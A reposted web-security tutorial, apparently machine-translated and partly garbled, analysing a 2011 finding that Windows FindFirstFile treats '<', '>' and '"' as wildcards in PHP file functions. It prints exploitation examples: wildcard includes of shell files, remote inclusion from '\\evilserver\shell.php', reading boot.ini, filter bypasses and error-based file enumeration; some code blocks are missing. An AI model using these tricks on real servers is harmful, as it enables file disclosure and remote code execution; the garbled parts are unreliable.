ホームページ > バックエンド開発 > PHPチュートリアル > Windows ファイル システム メカニズムによって引き起こされる PHP パス ブラスト問題の分析、_PHP チュートリアル

Windows ファイル システム メカニズムによって引き起こされる PHP パス ブラスト問題の分析、_PHP チュートリアル

WBOY
リリース: 2016-07-13 10:22:04
オリジナル
814 人が閲覧しました

Windowsファイルシステムメカニズムによって引き起こされるPHPパスブラスト問題の分析

1. 冒頭の挨拶

今回公開するのは、以下のWebページでの質問に対するテスト結果です。 http://code.google.com/p/pasc2at/wiki/簡体字中国語

リーリー
1.php が存在することがわかっています。上記のスクリプトにアクセスした結果は次のようになります。


リーリー

すべて返品可能です。
最初の 2 種類の戻り結果は一般に知られており (Windows ファイル システムがサイズ変換メカニズムをサポートしているため)、他の 2 種類の戻り結果が注目を集めています。

テストphpバージョン: PHP4.9、PHP5.2、PHP5.3、PHP6.0
テストシステム: WINXP SP3 X32、WINXP SP2 X64、WIN7、WIN2K3
テストの結果、この脆弱性はすべての Windows + PHP バージョンに影響するという結論に達しました


2. ファズテストの結果の詳細な調査

このバグについてさらに詳しい情報を調査し続けるために、デモにいくつかの変更を加えました:


リーリー

PHP インタープリターのデバッグの過程で、この「魔法の」脆弱性は Winapi 関数 FindFirstFile() (http://msdn.microsoft.com/en-us/library/aa364418(v =vs. 85).aspx) さらに興味深いのは、関数呼び出しスタックを追跡すると、文字「>」が「?」に、文字「<」が置き換えられていることがわかりました。 " (二重引用符) は "." 文字に置き換えられます。これについては、2007 年の msdn 公開ドキュメントで説明されています: http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v =vs .85%29.aspx?id=3
ただし、このバグは Windows がリリースしたどのバージョンでも修正されていません。

私たちが説明したいのは、関数 FindFirstFile() は PHP では file_get_contents() よりもはるかに役に立たないということです。このバグで使用できる関数を次の表に示します。

さらに、このエクスプロイトは C++ にも適用できることもわかりました。次の例は msdn からのものです:

リーリー

当传入参数”c:\bo<”时,成功访问到boot.ini文件。

3.利用方法总结

当调用FindFirstFile()函数时,”<”被替换成”*”,这意味该规则可以使”<”替换多个任意字符,但是测试中发现并不是所有情况都如我们所愿。所以,为了确保能够使”<”被替换成”*”,应当采用”<<”
EXAMPLE:include(‘shell<'); 或者include(‘shell<<'); //当文件夹中超过一个以shell打头的文件时,该执行取按字母表排序后的第一个文件。
当调用FindFirstFile()函数时,”>”被替换成”?”,这意味这”>”可以替换单个任意字符
EXAMPLE:include(‘shell.p>p');    //当文件中超过一个以shell.p?p 通配时,该执行取按字母表排序后的第一个文件。
当调用FindFirstFile()函数时,”””(双引号)被替换成”.”
EXAMPLE:include(‘shell”php');    //===>include(‘shell.php');
如果文件名第一个字符是”.”的话,读取时可以忽略之
EXAMPLE:fopen(‘.htacess');  //==>fopen(‘htacess');   //加上第一点中的利用 ==>fopen(‘h<<');
文件名末尾可以加上一系列的/或者\的合集,你也可以在/或者\中间加上.字符,只要确保最后一位为”.”
EXAMPLE:fopen(“config.ini\\.// \/\/\/.”);==>  fopen(‘config.ini\./.\.'); ==>fopen(‘config.ini/////.')==>fopen(‘config.ini…..')   //译者注:此处的利用我不是很理解,有何作用?截断?
该函数也可以调用以”\\”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费4秒钟的时间,并可能触发时间响应机制以及max_execution_time抛错。所幸的是,该利用可以用来绕过allow_url_fopen=Off 并最终导致一个RFI(远程文件包含)
EXAMPLE:include (‘\\evilserver\shell.php');
用以下方法还可以切换文件的盘名
include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php');
选择磁盘命名语法可以用来绕过斜线字符过滤
file_get_contents(‘C:boot.ini'); //==>  file_get_contents (‘C:/boot.ini');
在php的命令行环境下(php.exe),关于系统保留名文件的利用细节
EXAMPLE:file_get_contents(‘C:/tmp/con.jpg'); //此举将会无休无止地从CON设备读取0字节,直到遇到eof
EXAMPLE:file_put_contents(‘C:/tmp/con.jpg',chr(0×07));  //此举将会不断地使服务器发出类似哔哔的声音

4.更深入的利用方法

除了以上已经展示的方法,你可以用下面的姿势来绕过WAF或者文件名过滤
请思考该例:

<&#63;php
file_get_contents("/images/".$_GET['a'].".jpg");
//or another function from Table 1, i.e. include().
&#63;>
ログイン後にコピー

访问test.php?a=../a<%00
可能出现两种结果

Warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in。。。
Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied。。
ログイン後にコピー

如果是第一种情况,说明不存在a打头的文件,第二种则存在。

此外,有记录显示,有时网站会抛出如下错误:

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..
ログイン後にコピー

这说明该文件夹下存在一个以上以a打头的文件(夹),并且第一个就是admin_h1d3。

5.结论
实验告诉我们,php本身没有那么多的漏洞,我们所看到是:过分的依赖于另一种程序语言(注:如文中的漏洞产自与winapi的一个BUG),并且直接强 制使用,将会导致细微的错误(bug),并最终造成危害(vul).这样便拓宽了模糊测试的范畴(译者注:并不仅仅去研究web层面,而深入到系统底层),并最终导致IDS,IPS的规则更新。诚然,代码需要保护,需要补丁,需要升级与扩充。但是,这并不是我们真正要去关注的问题。在当下,我认为我们 更谨慎地去书写更多更严厉的过滤规则,正如我们一直在做的一样。任重道远,精益求精。
因为这是基础应用层的问题,所以我们猜想类似的问题可能出现在其他web应用中。于是我们还测试了mysql5,而实验结果表明,mysql5并不存在类似的漏洞。但是我们仍认为:类似的漏洞将会出现在诸如Perl、Python、Ruby等解释性语言上。

6.Referer

PHP application source code audits advanced technology:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese
MSDN FindFirstFile Function reference:
http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx
MSDN comments history:
http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx&#63;id=3
MSDN article &laquo;Naming Files, Paths, and Namespaces&raquo;:
http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx
Technet article &laquo;Managing Files and Directories&raquo;:
http://technet.microsoft.com/en-us/library/cc722482.aspx
Paper &laquo;Technique of quick exploitation of 2blind SQL Injection&raquo;:
http://www.exploit-db.com/papers/13696/
ログイン後にコピー

=============================================== == =================
完全なテキスト。
注: この記事は 2011 年末に発行されたホワイト ペーパーであり、バグはまだ存在します。数か月前に CUIT の CTF に取り組んでいたときにこのバグの悪用を発見しました。そのときにこの記事を読んだだけで、ディレクトリを実行するための php スクリプトを書きました。もう何もすることがないので、翻訳と整理をしました。

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/851340.html技術記事 Windows ファイル システムのメカニズムに起因する PHP パス ブラスト問題の分析、1. 冒頭の挨拶 今回公開されるのは、次の Web ページで提起された質問から得られたテスト結果です: http://code.google.co.. .
関連ラベル:
php
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のおすすめ
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート